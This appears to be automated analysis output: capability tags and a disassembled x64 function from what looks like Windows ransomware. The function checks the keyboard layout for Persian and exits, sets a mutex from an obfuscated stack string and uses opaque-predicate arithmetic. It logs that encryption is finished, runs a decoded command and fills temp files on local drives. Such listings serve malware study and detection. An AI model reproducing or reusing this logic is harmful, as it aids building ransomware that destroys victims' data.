Function at 0x140045690
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get disk information
Get keyboard layout
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, reloc.SHELL32.dll_IsUserAnAdmin
sub rsp, 0x380
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14012e190]
xor rax, rsp
mov qword [rbp + 0x270], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov eax, 8
mul rbx
mov rdi, 0xffffffffffffffff
cmovo rax, rdi
mov rcx, rax
call fcn.14007a450
mov rsi, rax
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x50], rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
test eax, eax
je 0x1400234c2
test ebx, ebx
jle 0x1400234c2
xor eax, eax
mov ecx, 0x429
nop dword [rax]
cmp word [rsi + rax*8], cx
je 0x1400237b0
inc rax
cmp rax, rbx
jl 0x1400234b0
test rsi, rsi
je 0x1400234d4
mov edx, 8
mov rcx, rsi
call fcn.14007a2fc
call fcn.1400479f0
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov byte [rsp + 0x50], al
mov byte [rsp + 0x51], 4
mov byte [rsp + 0x52], 0x5e
mov byte [rsp + 0x53], 0x73
mov byte [rsp + 0x54], 0x31
mov byte [rsp + 0x55], 0x35
mov byte [rsp + 0x56], 0x5e
mov byte [rsp + 0x57], 0x73
mov byte [rsp + 0x58], 0x6f
mov byte [rsp + 0x59], 0x39
mov byte [rsp + 0x5a], 0x31
mov byte [rsp + 0x5b], 0x46
mov byte [rsp + 0x5c], 0x46
mov byte [rsp + 0x5d], 0x42
mov byte [rsp + 0x5e], 0x39
mov byte [rsp + 0x5f], 0x5a
mov byte [rsp + 0x60], 0x5e
mov byte [rsp + 0x61], 0x31
mov byte [rsp + 0x62], 0x73
mov byte [rsp + 0x63], 0x39
mov byte [rsp + 0x64], 0x73
mov byte [rsp + 0x65], 0x6f
mov byte [rsp + 0x66], al
mov byte [rsp + 0x67], 0x35
mov byte [rsp + 0x68], 0x39
mov byte [rsp + 0x69], 0x73
mov byte [rsp + 0x6a], 4
mov byte [rsp + 0x6b], 0x35
mov byte [rsp + 0x6c], 0x56
mov byte [rsp + 0x6d], 0x6f
mov byte [rsp + 0x6e], 0x6f
mov byte [rsp + 0x6f], 0x46
mov byte [rsp + 0x70], 0x42
mov byte [rsp + 0x71], 0x42
mov byte [rsp + 0x72], 0x31
mov byte [rsp + 0x73], 0x5a
mov byte [rsp + 0x74], 0x46
mov byte [rsp + 0x75], 0x75
movzx eax, byte [rsp + 0x51]
movzx eax, byte [rsp + 0x50]
xor esi, esi
test al, al
jne 0x140023607
mov r9d, esi
movzx ecx, byte [rsp + r9 + 0x51]
sub ecx, 0x75
imul r8d, ecx, 0x1f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x51], r8b
inc r9
cmp r9, 0x25
jb 0x1400235b2
movdqa xmm0, xmmword [0x14010ecc0]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
lea rax, [rsp + 0x51]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140023620
mov r8, rdi
lea rdx, [rsp + 0x51]
lea rcx, [rbp - 0x80]
call fcn.140023e20
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae r8, qword [rbp - 0x80]
mov ebx, 1
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp - 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne byte [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140023da0
call fcn.1400233d0
movsx r15d, al
call fcn.1400233c0
movsx ecx, al
imul r15d, ecx
call fcn.140023400
movsx r12d, al
lea r13d, [r12 + r15*8]
add r13d, r15d
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x1400237f1
movsx ecx, byte [0x1401374b4]
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsx ecx, byte [0x1401374b6]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, rsi
cmp byte [rbp - 0x20], 0
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
imul eax, r15d, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x140023757
call fcn.1400233e0
movsx edx, al
movsx eax, byte [0x140140cd8]
imul edx, eax
add edx, edx
call fcn.140023410
movsx ecx, al
sub edx, ecx
call fcn.1400233f0
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x1401374b6]
add ecx, edx
jne 0x1400237bf
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x1400237bc
lea edx, [r15 + r12]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rdx + r15*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si ebx, xmm0
jmp 0x1400237bf
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [rbp - 0x30]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
lea eax, [rax + r15*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x1400237f1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140051850
call fcn.140027930
call fcn.140048b40
lea rcx, [rbp + 8]
call fcn.14003eb30
nop
mov rdi, qword [rbp + 0x10]
mov rbx, qword [rbp + 8]
cmp rbx, rdi
je 0x140023828
mov rcx, rbx
call fcn.140047740
add rbx, 0x20
cmp rbx, rdi
jne 0x140023817
lea rcx, [rbp + 8]
call fcn.140034c70
call fcn.140047fd0
call fcn.14004d2f0
call fcn.14004d830
call fcn.14004e520
call fcn.140051260
call fcn.14004a130
lea rcx, [rbp + 0x20]
call fcn.14003f210
nop
mov rdi, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x20]
cmp rbx, rdi
je 0x140023877
mov rcx, rbx
call fcn.14004ab70
add rbx, 0x20
cmp rbx, rdi
jne 0x140023866
lea rcx, [rbp + 0x20]
call fcn.140034c70
call fcn.1400331e0
lea rdx, str.Waiting_for_IO_workers.
call fcn.14002f4d0
mov rbx, qword [0x140140040]
test rbx, rbx
je 0x1400238b2
mov rcx, rbx
call fcn.140026ca0
mov edx, 0xe0
mov rcx, rbx
call fcn.14007a2fc
mov rbx, qword [0x140140048]
test rbx, rbx
je 0x140023955
mov rcx, rbx
call fcn.140025e30
mov rax, qword [rbx + 8]
test rax, rax
je 0x140023934
mov rdx, qword [rbx + 0x10]
mov rcx, rax
cmp rax, rdx
je 0x1400238f3
nop
cmp dword [rax + 8], 0
jne 0x140023d4a
add rax, 0x10
cmp rax, rdx
jne 0x1400238e0
mov rdx, qword [rbx + 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
cmp rdx, 0x1000
jb 0x140023923
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140023d44
mov rcx, r8
call fcn.14007a2fc
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
mov rcx, qword [rbx]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140023948
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 0x38
mov rcx, rbx
call fcn.14007a2fc
mov qword [0x140140048], rsi
lea rdx, str.Encryption_finished.
call fcn.14002f4d0
call fcn.140048ee0
call fcn.14004c1b0
call fcn.14004afe0
call fcn.14004d5a0
call fcn.14004de00
lea rcx, [rbp - 0x58]
call fcn.140039e20
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140023997
mov r8, qword [rax]
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0x4b
mov byte [rsp + 0x42], 0x5d
mov byte [rsp + 0x43], 0x5c
mov byte [rsp + 0x44], 0x5d
mov byte [rsp + 0x45], 0x20
mov byte [rsp + 0x46], 0x5d
mov byte [rsp + 0x47], 0x3a
mov byte [rsp + 0x48], 0x5d
mov byte [rsp + 0x49], 0x5d
mov byte [rsp + 0x4a], 0x5d
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x140023a35
mov r10, rsi
nop
movzx ecx, byte [rsp + r10 + 0x41]
sub ecx, 0x5d
imul r9d, ecx, 0xf
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
add r9d, 0x7f
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r9d, eax
mov byte [rsp + r10 + 0x41], r9b
inc r10
cmp r10, 0xa
jb 0x1400239e0
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rsp + 0x41]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x58]
call fcn.14002d500
lea rcx, [rbp + 0x38]
call fcn.140033090
nop
mov r14, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x38]
cmp rbx, r14
je 0x140023bb8
nop word [rax + rax]
lea r8, [0x14010dd90]
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140034d90
lea rcx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 1
jbe 0x140023abd
lea rcx, [rbp - 0x18]
call fcn.14002d500
jmp 0x140023bab
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x140023aca
mov rcx, qword [rbx]
lea r9, [rbp + 0x60]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x140023aeb
lea rcx, [rbp - 0x18]
call fcn.14002d500
jmp 0x140023bab
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x24000002
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140023b3d
lea rcx, [rbp - 0x18]
call fcn.14002d500
jmp 0x140023bab
mov edx, 0x80000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
nop word [rax + rax]
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x30]
mov r8d, 0x80000
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140023b60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x80000
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp - 0x18]
call fcn.14002d500
xor esi, esi
add rbx, 0x20
cmp rbx, r14
jne 0x140023a80
lea rcx, [rbp + 0x38]
call fcn.140034c70
call fcn.14004e150
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
add eax, r15d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx ecx, byte [0x1401374b4]
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsx ecx, byte [0x1401374b6]
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
imul eax, r15d, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r12d
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x140023c78
call fcn.1400233e0
movsx edx, al
movsx eax, byte [0x140140cd8]
imul edx, eax
add edx, edx
call fcn.140023410
movsx ecx, al
sub edx, ecx
call fcn.1400233f0
movsx ecx, al
add edx, ecx
movsx ecx, byte [0x1401374b6]
add ecx, edx
jne 0x140023cd8
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, r13d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
cmp eax, ecx
je 0x140023cd1
lea edx, [r15 + r12]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rdx + r15*2]
add eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x1401374b5]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
jmp 0x140023cd4
mov eax, dword [rbp - 0x30]
test eax, eax
jle 0x140023cf8
mov rbx, qword [rbp - 0x28]
cmp byte [rbp - 0x20], 0
je 0x140023ceb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140023d14
mov rbx, qword [rbp - 0x28]
cmp byte [rbp - 0x20], 0
je 0x140023d0b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.140079ca0
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400a74a4
nop
call fcn.1400a7250
int3
sub rsp, 0x28
lea rcx, [0x140045570]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
add rsp, 0x28
jmp 0x140023420